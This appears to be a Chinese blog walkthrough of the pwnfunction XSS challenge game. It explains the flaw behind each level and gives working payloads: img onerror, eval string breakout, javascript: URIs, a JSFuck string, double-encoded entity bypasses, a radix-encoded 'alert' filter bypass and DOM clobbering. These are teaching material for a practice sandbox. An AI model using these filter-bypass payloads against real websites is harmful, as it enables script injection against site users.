• 中级xss绕过【xss Game】


    题源:https://xss.pwnfunction.com/ 点我带你过去
    在这里插入图片描述

    Ma Spaghet!

    一、规则

    Difficulty is Easy. 【难度是容易】
    Pop an alert(1337) on sandbox.pwnfunction.com. 【在sandbox.pwnfunction.com上弹出警报(1337)。】
    No user interaction. 【没有用户交互】
    Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=. 【无法使用https://sandbox.pwnfunction.com/?html=&js=&css=.】
    Tested on Chrome.

    二、题目

    在这里插入图片描述

    1、分析

    1、从上面可以看出,我们的url中需要有somebody这样一个参数,如果有就get获取它,如果没有,默认值为somebody后面连接一个字符串
    2、题目中没有进行条件过滤十分友好,它运用函数innerHTML来插入语句。
    3、题目中的一个判断:||
    此判断当第一个为真的事后,不再继续判断直接输出。而如果是&& 则是要继续判断。

    2、代码输入

    本题因为没有条件拦截为此方向大胆随便输入满足规则就可以了。

    ?somebody=<script>alert(1)script>
    
    • 1

    在这里插入图片描述
    输入结果很奇怪的是它没有弹出1337的警告。

    3、错误分析

    在这里插入图片描述

    1、对应本次错误我们首先要想到查看是否插入到html代码中,但是遗憾的是这里插入到代码里了却是我们现在的结果。
    2、其次如果不是插入问题,那么便是语法问题。
    .
    当我们仔细查看原本script直接弹窗代码与我们现在代码区别,发现不同之处只有这是使用了innerHTML函数来插入内容。为此这就是突破点。

    4、知识扩展innerHTML

    官方文档:https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML
    快快点我带你去瞧瞧

    1、定义

    Element.innerHTML 属性设置或获取 HTML 语法表示的元素的后代。

    如果一个

    , , 或 </code> 节点有一个文本子节点,该节点包含字符 (&), (<), 或(>),<br> innerHTML 将这些字符分别返回为<code>&amp;</code>, <code>&lt;</code> 和 <code>&gt;</code> 。<br> 使用Node.textContent 可获取一个这些文本节点内容的正确副本。</p> </blockquote> <h4><a id="2_54"></a>2、语法</h4> <pre data-index="1" class="prettyprint"><code class="prism language-html has-numbering" onclick="mdcp.signin(event)" style="position: unset;">const content = element.innerHTML; element.innerHTML = htmlString; <div class="hljs-button signin" data-title="登录后复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre> <p>innerHTML函数被赋为htmlstring,并给了content。</p> <p><mark>本题目则是innerHTML获取了somebody的值给了id:spaghet</mark></p> <h4><a id="3script_64"></a>3、安全问题【本题script不生效原因】</h4> <p>用 innerHTML 插入文本到网页中并不罕见。但这有可能成为网站攻击的媒介,从而产生潜在的安全风险问题</p> <pre data-index="2" class="prettyprint"><code class="prism language-html has-numbering" onclick="mdcp.signin(event)" style="position: unset;">const name = "John"; // assuming 'el' is an HTML DOM element el.innerHTML = name; // harmless in this case // ... name = "<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">'I am John in an annoying alert!'</span><span class="token punctuation">)</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span>"; el.innerHTML = name; // harmless in this case <div class="hljs-button signin" data-title="登录后复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li></ul></pre> <p>尽管这看上去像 cross-site scripting 攻击,结果并不会导致什么。<mark>HTML 5 中指定不执行由 innerHTML 插入的 </mark></p> <p>然而,有很多不依赖 <code><script></code> 标签去执行 JavaScript 的方式。所以当你使用innerHTML 去设置你无法控制的字符串时,这仍然是一个安全问题。例如:</p> <pre data-index="3" class="prettyprint"><code class="prism language-html has-numbering" onclick="mdcp.signin(event)" style="position: unset;">const name = "<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>img</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">'</span>x<span class="token punctuation">'</span></span> <span class="token special-attr"><span class="token attr-name">onerror</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">'</span><span class="token value javascript language-javascript"><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span></span><span class="token punctuation">'</span></span></span><span class="token punctuation">></span></span>"; el.innerHTML = name; // shows the alert <div class="hljs-button signin" data-title="登录后复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre> <pre data-index="4" class="prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">如此onerror的内容是无法控制的字符串 <div class="hljs-button signin" data-title="登录后复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre> <p><mark>基于这个原因,当插入纯文本时,建议不要使用 innerHTML 。</mark> 取而代之的是使用 <strong>Node.textContent</strong> ,它不会把给定的内容解析为 HTML,它仅仅是将原始文本插入给定的位置。</p> <h3><a name="t8"></a><a id="5_88"></a>5、最终正确的输入</h3> <p>因为官方文档已经给出了html5是不执行innerHTML插入,为此我们可以用官方给的例子img解题。即便他不安全,但是解题足够了。但是注意的是在现实工作中不建议使用。</p> <pre data-index="5" class="prettyprint"><code class="prism language-html has-numbering" onclick="mdcp.signin(event)" style="position: unset;">?somebody=<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>img</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>1</span> <span class="token special-attr"><span class="token attr-name">onerror</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token value javascript language-javascript"><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1337</span><span class="token punctuation">)</span></span></span></span><span class="token punctuation">></span></span> <div class="hljs-button signin" data-title="登录后复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre> <p><img src="https://1000bd.com/contentImg/2022/08/05/071807774.png" alt="在这里插入图片描述"></p> <h1><a name="t9"></a><a id="Jefff_96"></a>Jefff</h1> <h2><a name="t10"></a><a id="_97"></a>一、规则</h2> <blockquote> <p>Difficulty is Easy. 【难度是容易】<br> Pop an alert(1337) on sandbox.pwnfunction.com. 【在sandbox.pwnfunction.com上弹出警报(1337)。】<br> No user interaction. 【没有用户交互】<br> Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=. 【无法使用https://sandbox.pwnfunction.com/?html=&js=&css=.】<br> Tested on Chrome.</p> </blockquote> <h2><a name="t11"></a><a id="2_106"></a>2、题目</h2> <p><img src="https://1000bd.com/contentImg/2022/08/05/071807913.png" alt="在这里插入图片描述"></p> <h3><a name="t12"></a><a id="1_108"></a>1、分析</h3> <p>1、URL的SearchParams 接口定义了一些实用的方法来处理 URL 的查询字符串。<br> 2、我们的url中需要有jeff这样一个参数,如果有就get获取它,如果没有,默认值为jeff后面连接一个字符串<br> 3、运用了eval()函数它会将传入的字符串当做 JavaScript 代码进行执行。<br> 4、利用eval的输出,为此将jeff这闭合双引号,而eval会输入表达式前面两个参数。为此把后一个参数用来弹窗。</p> <h3><a name="t13"></a><a id="2eval_114"></a>2、知识扩展eval()函数</h3> <blockquote> <p>官方文档:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/eval<br> <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/eval">点击我让你看看eval的真面目</a></p> </blockquote> <p>在xss的注入中eval()函数我们通常都可以利用起来。</p> <h4><a id="1_120"></a>1、定义</h4> <p>eval() 函数会将传入的字符串当做 JavaScript 代码进行执行<br> <img src="https://1000bd.com/contentImg/2022/08/05/071808085.png" alt="在这里插入图片描述"><br> <mark>eval收到两个参数的时候收取第一参数为执向值,当为空的时候指向Windows的j全局变量,非空则这个值为eval别名而别名默认指向全局。</mark></p> <h4><a id="2_125"></a>2、语法</h4> <blockquote> <p>eval(string)<br> 参数</p> </blockquote> <p><strong>string</strong><br> 一个表示 JavaScript 表达式、语句或一系列语句的字符串。表达式可以包含变量与已存在对象的属性。</p> <p><strong>返回值</strong><br> 返回字符串中代码的返回值。如果返回值为空,则返回 undefined。</p> <h4><a id="3_eval_136"></a>3、描述 【本题eval输出果原理】</h4> <p>eval() 是全局对象的一个函数属性。</p> <p>eval() 的参数是一个字符串。如果字符串表示的是表达式,eval() 会对表达式进行求值。如果参数表示一个或多个 JavaScript 语句,那么eval() 就会执行这些语句。<mark>不需要用 eval() 来执行一个算术表达式:因为 JavaScript 可以自动为算术表达式求值。</mark></p> <p>如果你以字符串的形式构造了算术表达式,那么可以在后面用 eval()对它求值。例如,假设你有一个变量 x,您可以通过将表达式的字符串值(例如 3 * x + 2)赋值给一个变量,然后在你的代码后面的其他地方调用 eval(),来推迟涉及 x 的表达式的求值。</p> <p>==如果 eval() 的参数不是字符串, eval() 会将参数原封不动地返回。==在下面的例子中,String 构造器被指定,而 eval() 返回了 String 对象而不是执行字符串</p> <pre data-index="6" class="prettyprint"><code class="prism language-html has-numbering" onclick="mdcp.signin(event)" style="position: unset;">eval(new String("2 + 2")); // 返回了包含"2 + 2"的字符串对象 eval("2 + 2"); // returns 4 <div class="hljs-button signin" data-title="登录后复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre> <blockquote> <p>总的来说:<br> eval会只接受传递的第一个参数,但对传来第二个参数选择性执行。而第二个参数传递进来是字符串或函数<br> <img src="https://1000bd.com/contentImg/2022/08/05/071808242.png" alt="在这里插入图片描述"></p> <p><mark>综上:第二参数是字符串进行忽略,不是则执行。第二个传的函数为alert(1)执行【alert(1)存在于在全局变量】</mark></p> </blockquote> <h2><a name="t14"></a><a id="3_155"></a>3、代码输入</h2> <h3><a name="t15"></a><a id="1_156"></a>1、命令行测试</h3> <p><img src="https://1000bd.com/contentImg/2022/08/05/071808429.png" alt="在这里插入图片描述"><br> 这不行因为这是命令行,但是url可以。</p> <pre data-index="7" class="prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;"> 传值: 第一个string参数为ma name ${1 字符串 第二个string参数为alert(1)函数,会执行的 <div class="hljs-button signin" data-title="登录后复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre> <p>最后效果大概样子(会弹窗)<br> <img src="https://1000bd.com/contentImg/2022/08/05/071808663.png" alt="在这里插入图片描述"></p> <h3><a name="t16"></a><a id="2_166"></a>2.输入内容</h3> <pre data-index="8" class="prettyprint"><code class="prism language-html has-numbering" onclick="mdcp.signin(event)" style="position: unset;">?jeff=1";alert(1337)// <div class="hljs-button signin" data-title="登录后复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre> <p>对于输入的内容<code>?jeff=1";alert(1337)//</code>,我们实际上输入的是1";alert(1337)//这部分。<br> 这样入就是 eval(<code>ma = "Ma name ${1";alert(1337)//}"</code>)<br> 它优先处理占位符${}的内容,然后传参数。<br> 第一个参数:“Ma name ${1”</p> <blockquote> <p>结果如同<br> <img src="https://1000bd.com/contentImg/2022/08/05/071808804.png" alt="在这里插入图片描述"></p> </blockquote> <p>第二个参数:alert(1337)【//后面被注释了不会传输】<br> <mark>在接受了一个参数后,但第二个参数在全局变量里面有的函数于是执行。</mark><br> <img src="https://1000bd.com/contentImg/2022/08/05/071808945.png" alt="在这里插入图片描述"></p> <h1><a name="t17"></a><a id="Ricardo_Milos_183"></a>Ricardo Milos</h1> <h2><a name="t18"></a><a id="_184"></a>一、规则</h2> <blockquote> <p>Difficulty is Easy. 【难度是容易】<br> Pop an alert(1337) on sandbox.pwnfunction.com. 【在sandbox.pwnfunction.com上弹出警报(1337)。】<br> No user interaction. 【没有用户交互】<br> Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=. 【无法使用https://sandbox.pwnfunction.com/?html=&js=&css=.】<br> Tested on Chrome.</p> </blockquote> <h2><a name="t19"></a><a id="_193"></a>二、题目</h2> <p><img src="https://1000bd.com/contentImg/2022/08/05/071809101.png" alt="在这里插入图片描述"></p> <h3><a name="t20"></a><a id="1_195"></a>1、分析</h3> <p>1、URL的SearchParams 接口定义了一些实用的方法来处理 URL 的查询字符串。<br> 2、我们的url中需要有ricardo这样一个参数,如果有就get获取它,如果没有,默认值为ricardo后面连接一个字符串<br> 3、内容输入在ipput标签中,虽然他有输入框可以点击弹窗但是规则要求不能交互。所以不能使用与输入框点击有关的事件。【对于onfocus自动浮点是鼠标自动的,但也产生了交互不行。】<br> 4、已经定为input,为此例如img的onerror就不能用。<br> 5、因为是url需要我们输入,为此它可以识别JavaScript:伪协议。</p> <h3><a name="t21"></a><a id="2_201"></a>2、代码输入</h3> <pre data-index="9" class="prettyprint"><code class="prism language-html has-numbering" onclick="mdcp.signin(event)" style="position: unset;">?ricardo=javascript:alert(1) <div class="hljs-button signin" data-title="登录后复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre> <p><img src="https://1000bd.com/contentImg/2022/08/05/071809257.png" alt="在这里插入图片描述"></p> <h1><a name="t22"></a><a id="Ah_Thats_Hawt_207"></a>Ah That’s Hawt</h1> <h2><a name="t23"></a><a id="_208"></a>一、规则</h2> <blockquote> <p>Difficulty is Easy. 【难度是容易】<br> Pop an alert(1337) on sandbox.pwnfunction.com. 【在sandbox.pwnfunction.com上弹出警报(1337)。】<br> No user interaction. 【没有用户交互】<br> Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=. 【无法使用https://sandbox.pwnfunction.com/?html=&js=&css=.】<br> Tested on Chrome.</p> </blockquote> <h2><a name="t24"></a><a id="_217"></a>二、题目</h2> <p><img src="https://1000bd.com/contentImg/2022/08/05/071809460.png" alt="在这里插入图片描述"></p> <h3><a name="t25"></a><a id="1_219"></a>1.分析</h3> <p>1、我们的url中需要有markassbrownlee这样一个参数,如果有就get获取它,如果没有,默认值为markassbrownlee后面连接一个字符串<br> 2、运用innerHTML来插入语句<br> 3、过滤了[ ,(,`,),\,]符号为空<br> 4、过滤的符号为我们常用而且在弹窗会用的,为此我们要考虑不用这些符号的方法。例如,JSFUCK或编码解决。<br> 5、url地址在回车瞬间会将编码瞬间解析转义为URLcode,然后将转义的再给html来识别转码。</p> <h3><a name="t26"></a><a id="2_225"></a>2、知识扩展并输入代码</h3> <h4><a id="1JSFUCK_226"></a>1、JSFUCK</h4> <blockquote> <p>演练网站:http://www.jsfuck.com/ <a href="http://www.jsfuck.com/">带你去演练</a></p> </blockquote> <p>JSFUCK:可以不使用0-9 a-z 进行编码。</p> <blockquote> <p>jsfuck源于一门编程语言brainfuck,其主要的思想就是只使用8种特定的符号来编写代码。而jsfuck也是沿用了这个思想,它仅仅使用6种符号来编写代码。它们分别是(、)、+、[、]、!。</p> </blockquote> <p><strong>实例理解</strong><br> <img src="https://1000bd.com/contentImg/2022/08/05/071809611.png" alt="在这里插入图片描述"></p> <pre data-index="10" class="prettyprint"><code class="prism language-html has-numbering" onclick="mdcp.signin(event)" style="position: unset;">[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]]) <div class="hljs-button signin" data-title="登录后复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre> <p>内容复制在控制台:弹出1<br> <img src="https://1000bd.com/contentImg/2022/08/05/071809755.png" alt="在这里插入图片描述"><br> 此题为例,把alert(1)替换<br> <img src="https://1000bd.com/contentImg/2022/08/05/071809875.png" alt="在这里插入图片描述"><br> <img src="https://1000bd.com/contentImg/2022/08/05/071809975.png" alt="在这里插入图片描述"></p> <p><strong>原理解释</strong><br> 上面那段代码的原理其实很简单,它使用了Function关键字定义一个匿名函数,并立即执行了。<br> 如果我们在浏览器敲入下面代码,也会弹出数字“1”:</p> <pre data-index="11" class="prettyprint"><code class="prism language-html has-numbering" onclick="mdcp.signin(event)" style="position: unset;">Function("alert(1)")() <div class="hljs-button signin" data-title="登录后复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre> <p>上面函数在js中严格区分大小写所有【F大写】</p> <blockquote> <p>每个 JavaScript 函数实际上都是一个 Function 对象。<br> 官方文档:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function<br> <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function"> Function官方文档点击进入</a></p> </blockquote> <p>而我们的示例正是基于这个原理,只不过它<strong>使用6个特定字符取到了js中的undefined、true、false、NaN等关键字的字符,并将他们组装成了这个匿名函数。</strong></p> <p><mark>输入内容在JavaScript的表达</mark><br> <img src="https://1000bd.com/contentImg/2022/08/05/071810113.png" alt="在这里插入图片描述"></p> <h4><a id="2_265"></a>2、多次编码与解码</h4> <p>对于这个问题我们要知道每种编码长什么样子。</p> <blockquote> <p>一个小技巧<br> % =》 URL编码<br> & ; =》 HTML实体编码<br> &#…; =》Unicode编码</p> </blockquote> <p>本题为例,因为过滤了[ ,(,`,),\,]符号所以选择编码解决。因为输入在url地址,所以编码要被URLcode解码。</p> <blockquote> <p>一个知识点:<br> 在url地址栏输入完后回车一瞬间url就通过URLcode进行解码了,随后把解码内容发送给html。<br> 浏览器解析顺序:URL解析器->HTML 解析器-> CSS 解析器->JS解析器</p> </blockquote> <p>网址解码后进入html网页解码</p> <p><strong>这里的问题是就是<br> 当URl编码不存在时候,他先解析html编码,在还未进程序时,已经被解析了,那么我们有什么办法去绕过它呢</strong></p> <blockquote> <p>第一种绕过payload:<a%20href=“javascript:alert%26%2340%3B1%26%2341”>aaa</p> <p>第二种绕过payload: <a%20href=“javascript:alert%25281%2529”>aaa</p> <p>第三种绕过payload(官方payload):%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E</p> </blockquote> <p>这整个流程:html实体编码——》URLcode编码——》进入程序——》URLcode解码——》html实体解码<br> <img src="https://1000bd.com/contentImg/2022/08/05/071810273.png" alt="在这里插入图片描述"></p> <blockquote> <p><strong>绕过中的%2528解释</strong><br> html不认识%28【(】与%29【)】<br> 为此url地址:%2528 %25为% %2528在url解析为%28<br> 但是他在html中的href中,href是url的模块。于是可以识别%28 %29</p> </blockquote> <h3><a name="t27"></a><a id="_297"></a></h3> <h1><a name="t28"></a><a id="Mafia_299"></a>Mafia</h1> <h2><a name="t29"></a><a id="_301"></a>一、规则</h2> <blockquote> <p>Difficulty is Easy. 【难度是容易】<br> Pop an alert(1337) on sandbox.pwnfunction.com. 【在sandbox.pwnfunction.com上弹出警报(1337)。】<br> No user interaction. 【没有用户交互】<br> Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=. 【无法使用https://sandbox.pwnfunction.com/?html=&js=&css=.】<br> Tested on Chrome.</p> </blockquote> <h2><a name="t30"></a><a id="_310"></a>二、题目</h2> <p><img src="https://1000bd.com/contentImg/2022/08/05/071810413.png" alt="在这里插入图片描述"></p> <h3><a name="t31"></a><a id="1_312"></a>1、分析</h3> <p>1、我们的url中需要有mafia这样一个参数,如果有就get获取它,如果没有,默认值为mafia后面连接一个字符串<br> 2、过滤[,`,',",+,-,!,\,[,]了这些符号,替换为_<br> 3、过滤alert,替换为_.所有考虑编码与<br> 4、slice:切割函数</p> <h3><a name="t32"></a><a id="2_319"></a>2、知识扩展</h3> <h4><a id="1toString_320"></a>1、toString()</h4> <p><img src="https://1000bd.com/contentImg/2022/08/05/071810632.png" alt="在这里插入图片描述"></p> <blockquote> <p>30进制转使用:parseInt<br> 30进制转回去:toString</p> </blockquote> <p>parseInt,是Javascript内置函数,原型为parseInt ( String s , [ int radix ] ),用于解析一个字符串,并返回一个整数。<br> toString()方法可以把一个Number对象转换为一个字符串,并返回结果。</p> <h4><a id="2hash_slice__328"></a>2、hash函数 与slice 函数</h4> <p><img src="https://1000bd.com/contentImg/2022/08/05/071810741.png" alt="在这里插入图片描述"><br> hash取的#后所有为值<br> slice:切割函数,第一个开始切割,即的bbbbb</p> <p>是eval来使用内部的函数<br> <img src="https://1000bd.com/contentImg/2022/08/05/071810960.png" alt="在这里插入图片描述"><br> <strong>一定要#来传值</strong></p> <h4><a id="3Function_337"></a>3、Function函数</h4> <blockquote> <p>官方文档:https://developer.mozilla.org/zhCN/docs/Web/JavaScript/Reference/Global_Objects/Function#%E5%8F%82%E8%A7%81<br> <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function#%E5%8F%82%E8%A7%81">点去看看</a></p> </blockquote> <p>每个 JavaScript 函数实际上都是一个 Function 对象。<br> <img src="https://1000bd.com/contentImg/2022/08/05/071811117.png" alt="在这里插入图片描述"><br> 上面代码中,Function构造函数接受三个参数,除了最后一个参数是add函数的“函数体”,其他参数都是add函数的参数。</p> <h3><a name="t33"></a><a id="3_346"></a>3、代码输入</h3> <pre data-index="12" class="prettyprint"><code class="prism language-html has-numbering" onclick="mdcp.signin(event)" style="position: unset;">?mafia=eval(8680439..toString(30))(1337) <div class="hljs-button signin" data-title="登录后复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre> <p><img src="https://1000bd.com/contentImg/2022/08/05/071811273.png" alt="在这里插入图片描述"><br> <strong>结合上述知识点,同官方文档</strong><br> <img src="https://1000bd.com/contentImg/2022/08/05/071811445.png" alt="在这里插入图片描述"></p> <blockquote> <p>第一个答案<br> 1、js不支持大写,所以官方使用toLowerCase函数让Functiong其小写 【一定得要分隔符[/]不然转小写无效】<br> 2、这种方法实际项目很少使用</p> </blockquote> <h1><a name="t34"></a><a id="Ok_Boomer_360"></a>Ok, Boomer</h1> <h2><a name="t35"></a><a id="_361"></a>一、规则</h2> <blockquote> <p>Difficulty is Easy. 【难度是容易】<br> Pop an alert(1337) on sandbox.pwnfunction.com. 【在sandbox.pwnfunction.com上弹出警报(1337)。】<br> No user interaction. 【没有用户交互】<br> Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=. 【无法使用https://sandbox.pwnfunction.com/?html=&js=&css=.】<br> Tested on Chrome.</p> </blockquote> <h2><a name="t36"></a><a id="_370"></a>二、题目</h2> <p><img src="https://1000bd.com/contentImg/2022/08/05/071811585.png" alt="在这里插入图片描述"></p> <h3><a name="t37"></a><a id="1_372"></a>1、分析</h3> <p>1、我们的url中需要有boomer这样一个参数,如果有就get获取它,如果没有,默认值为boomer后面连接一个字符串<br> 2、DOMPurify框架比较难绕过,但是我们可以查看版本网上搜找漏洞。<br> 3、setTimeout: setTimeout()方法设置一个定时器,该定时器在定时器到期后执行一个函数或指定的一段代码。<br> 4、setTimeout里的ok,需要属性为ok</p> <h3><a name="t38"></a><a id="2_378"></a>2、知识扩展</h3> <h4><a id="1DOMPurify_379"></a>1、DOMPurify框架</h4> <p>假设我们有一个不受信任的 HTML<code>htmlMarkup</code>并且我们想将它分配给某个<code>div</code>,我们使用以下代码使用 DOMPurify 对其进行清理并分配给<code>div</code>:</p> <blockquote> <p>在解析和序列化 HTML 以及对 DOM 树的操作方面,在上面的简短片段中发生了以下操作:</p> <ol><li><code>htmlMarkup</code> 被解析为 DOM 树。</li><li>DOMPurify 清理 DOM 树(简而言之,该过程是遍历 DOM 树中的所有元素和属性,并删除所有不在允许列表中的节点)。</li><li>DOM 树被序列化回 HTML 标记。</li><li>分配给 后<code>innerHTML</code>,浏览器会再次解析 HTML 标记。</li><li>解析后的 DOM 树被附加到文档的 DOM 树中。</li></ol> </blockquote> <h4><a id="2domwindow_389"></a>2、dom与window的量子纠缠</h4> <h3><a name="t39"></a><a id="3_390"></a>3.代码输入</h3> <pre data-index="13" class="prettyprint"><code class="prism language-html has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>a</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>ok</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>tel:alert(1337)</span><span class="token punctuation">></span></span> <div class="hljs-button signin" data-title="登录后复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre> </div> </div> </li> <li class="list-group-item ul-li"> <b>相关阅读:</b><br> <nobr> <a href="/Article/Index/1134045">【图像识别-车牌识别】基于BP神经网络求解车牌识别问题含GUI界面和报告</a> <br /> <a href="/Article/Index/1040383">【经典面试题-LeetCode134:加油站问题(Java实现)】</a> <br /> <a href="/Article/Index/1037542">零零信安-D&amp;D数据泄露报警日报【第29期】</a> 